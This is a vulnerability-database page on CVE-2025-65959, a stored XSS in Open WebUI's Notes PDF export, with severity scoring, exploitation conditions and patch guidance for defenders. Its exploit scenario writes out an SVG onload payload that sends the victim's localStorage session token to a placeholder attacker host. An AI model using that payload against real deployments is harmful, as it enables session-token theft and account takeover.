Skip to main content

Open WebUI EUVDEUVD-2025-201263

| CVE-2025-65959 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2025-12-04 security-advisories@github.com GHSA-8wvc-869r-xfqf
5.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious Markdown with SVG onload payload
  2. Delivery
    Share/deliver file to victim for Notes import
  3. Exploit
    Victim triggers 'Download PDF' rendering
  4. Execution
    innerHTML executes injected JavaScript
  5. Impact
    Exfiltrate session token via sendBeacon

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation specifically requires the Open WebUI 'Notes' feature and its 'Download PDF' export path: an attacker-supplied Markdown file containing dangerous HTML (SVG/script tags with event handlers such as onload) must be imported into a Note, because TipTap StarterKit stores unknown tags as raw HTML and downloadPdf() assigns note.data.content.html to innerHTML with no DOMPurify sanitization (pre-0.6.37). The payload does NOT fire on import or view - it executes only when a victim actively invokes the 'Download PDF (.pdf)' action, so the limiting factor is this required victim interaction (UI:R). Impact is bounded to data accessible from the victim's browser (session/JWT token in localStorage, enabling account takeover); there is no direct server compromise. Affected versions are open-webui <= 0.6.36; upgrading to 0.6.37 removes the condition. The attacker must get their crafted Markdown into the victim's Notes (via direct account access or by sharing a file the victim imports).

Impact

This is a legitimate but moderate-priority issue, best characterized as a high-impact-vector/low-likelihood stored XSS rather than an urgent emergency. The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N, base 5.4) indicates a network-reachable, low-complexity flaw that requires some privilege (PR:L - an authenticated user to import the malicious note) and user interaction (UI:R - a victim must trigger the 'Download PDF' action), with a scope change (S:C) reflecting that injected JavaScript executes in the victim's browser context rather than solely the vulnerable component. Publicly available exploit code exists (a working PoC with an SVG onload payload using navigator.sendBeacon to exfiltrate localStorage.token is published in the GHSA advisory), which raises practical risk. However, EPSS is only 0.04% (13th percentile), indicating very low modeled probability of widespread exploitation in the near term, and the CVE is NOT listed in CISA KEV, so there is no confirmed active exploitation. These signals are consistent rather than conflicting: a proven PoC against a niche-but-popular self-hosted product, with no evidence of mass exploitation. One nuance worth verifying: the CVSS vector encodes PR:L (authenticated), but the description claims 'unauthenticated external attackers' can steal tokens by sharing specially crafted markdown files - this implies the stored payload can be delivered to a victim via a shared/imported file without the attacker holding an account, so the effective delivery barrier may be lower than PR:L suggests; the privilege actually belongs to the victim who imports and renders the file. Overall: patch promptly in affected deployments, but this is not a drop-everything internet-wide threat.

Exploit ScenarioDerived

An attacker crafts a Markdown file containing a malicious SVG tag (e.g. <svg onload="navigator.sendBeacon('https://attacker/steal', localStorage.token)"></svg>) and gets a victim to import it into Open WebUI Notes. When the victim uses the Notes 'Download PDF' feature, the unsanitized HTML is assigned to innerHTML and the JavaScript executes in the victim's authenticated session, exfiltrating their session/JWT token to an attacker-controlled server. A public proof-of-concept demonstrating both an alert(1) test and live token theft (admin and regular users) is published in the GitHub Security Advisory GHSA-8wvc-869r-xfqf.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Oct 18, 2026

Stored cross-site scripting in Open WebUI's Notes PDF export (versions through 0.6.36) allows an attacker who can get crafted Markdown into a victim's Notes to execute JavaScript when the victim chooses 'Download PDF (.pdf)', exposing session/JWT tokens stored in the browser and enabling account takeover. The payload does not fire on import or normal viewing; exploitation requires the Notes feature and victim interaction (UI:R), and an external attacker can attempt it by sharing a malicious Markdown file for the victim to import. Publicly available exploit code exists, EPSS is low at 0.04% (13th percentile), and the issue is fixed in 0.6.37.

Earlier versions of this analysis (1)
v1 Mar 15, 2026 - 16:35 CVSS 8.7

RemediationAI

Vendor-released patch: 0.6.37. Upgrade Open WebUI to 0.6.37 or later; commit 03cc6ce8eb5c055115406e2304fbf7e3338b8dce adds DOMPurify sanitization to the Notes PDF export path, and the advisory is at https://github.com/open-webui/open-webui/security/advisories/GHSA-8wvc-869r-xfqf. If immediate upgrade is not possible, disable the Notes feature or at least the 'Download PDF (.pdf)' export for untrusted notes, and restrict Markdown import so users cannot bring in attacker-supplied files; these controls reduce exposure but break note export/import workflows. A restrictive Content-Security-Policy that blocks inline event handlers can provide defense in depth but may interfere with legitimate application scripts. Because the payload targets localStorage tokens, advise users not to download PDFs from notes they did not create, and rotate session/JWT tokens if a malicious note was downloaded.

Affected VersionsENISA

open-webui < 0.6.37

Affected Packages

npm open-webui fix: 0.6.37

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI's Notes feature uses the TipTap editor with only StarterKit enabled; because there is no schema for dangerous elements such as SVG or script, unknown HTML tags are persisted as raw HTML. In pre-0.6.37 code, downloadPdf() in src/lib/components/notes/utils.ts creates a DOM node and assigns note.data.content.html directly to innerHTML, with no DOMPurify or equivalent sanitization, so an SVG onload handler embedded via imported Markdown executes in the victim's origin during PDF generation. This is a stored XSS (CWE-79) with CVSS 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N); the scope change reflects that a malicious note shared by one user can affect other users who download it. The upstream fix adds DOMPurify.sanitize() around the HTML used for PDF export. Impact is confined to data available to the victim's browser, such as the JWT/session token in localStorage, and does not provide direct server compromise; the public PoC uses navigator.sendBeacon to exfiltrate localStorage.token.

Know when Open Webui gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Authenticated import (PR:L) and victim-triggered PDF download (UI:R); injected script escapes into the victim's browser context (S:C) yielding session-token theft, modeled as C:L/I:L/A:N.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

6
Severity Changed
Oct 18, 2026 - 15:22 NVD
HIGH MEDIUM
CVSS changed
Oct 18, 2026 - 15:22 NVD
8.7 (HIGH) 5.4 (MEDIUM)
Patch released
Mar 15, 2026 - 16:35 nvd
Patch available
PoC Detected
Dec 10, 2025 - 15:35 vuln.today
Public exploit code
CVE Published
Dec 04, 2025 - 21:16 nvd
MEDIUM 5.4
CVE Published
Dec 04, 2025 - 21:16 nvd
HIGH 8.7

DescriptionNVD

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.

Executive ViewAI

Why It Matters

Open WebUI instances running versions prior to 0.6.37 face a critical risk of session token theft and unauthorized access through malicious PDF downloads. Any authenticated user can exploit this vulnerability, and external attackers can target both administrators and regular users by sharing specially crafted files, potentially compromising the confidentiality and integrity of your AI platform and data.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: disable the PDF download functionality for Notes; restrict markdown file imports to administrators only; implement session token rotation policies; monitor for suspicious session activity; consider network segmentation to limit lateral movement if tokens are compromised.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Prevalence
Medium
popular self-hosted AI/LLM platform, widely used but not enterprise-ubiquitous
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Related Vulnerabilities in Open WebUI SSRF and XSS Vulnerabilities

View all 2
CVE-2024-8017 CRITICAL POC
9.0 Mar 20

An XSS vulnerability exists in open-webui/open-webui versions <= 0.3.8, specifically in the function that constructs the

CVE-2024-7044 HIGH POC
8.9 Mar 20

A Stored Cross-Site Scripting (XSS) vulnerability exists in the chat file upload functionality of open-webui/open-webui

CVE-2024-6707 HIGH POC
8.8 Aug 07

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traver

CVE-2026-87995 HIGH POC
8.7 Sep 09

Stored cross-site scripting in Open WebUI's terminal port preview feature allows an authenticated attacker sharing a ter

CVE-2024-8053 HIGH POC
8.2 Mar 20

In version v0.3.10 of open-webui/open-webui, the `api/v1/utils/pdf` endpoint lacks authentication mechanisms, allowing u

CVE-2026-87016 HIGH POC
8.1 Sep 09

OAuth and SCIM identity confusion in Open WebUI 0.6.41-0.10.x (SQLite-backed deployments only) allows unauthenticated re

CVE-2026-87996 HIGH POC
7.7 Sep 09

DNS rebinding SSRF in Open WebUI versions 0.9.6 through 0.11.0 allows authenticated users who control authoritative DNS

CVE-2026-87011 HIGH POC
7.5 Sep 09

Denial of service in Open WebUI versions 0.9.0-0.11.0 allows unauthenticated remote attackers to stall the application s

CVE-2024-7983 HIGH POC
7.5 Mar 20

In version 0.3.8 of open-webui, an endpoint for converting markdown to HTML is exposed without authentication. Rated hig

CVE-2026-26193 HIGH POC
7.3 Feb 19

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. [CVSS 7.3 HIGH]

CVE-2026-26192 HIGH POC
7.3 Feb 19

Stored XSS in Open WebUI prior to version 0.7.0 allows authenticated users to inject malicious HTML payloads into chat d

CVE-2026-87998 HIGH POC
7.1 Sep 09

Improper privilege management in Open WebUI 0.10.0 through 0.11.0 allows any authenticated low-privilege user with write

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy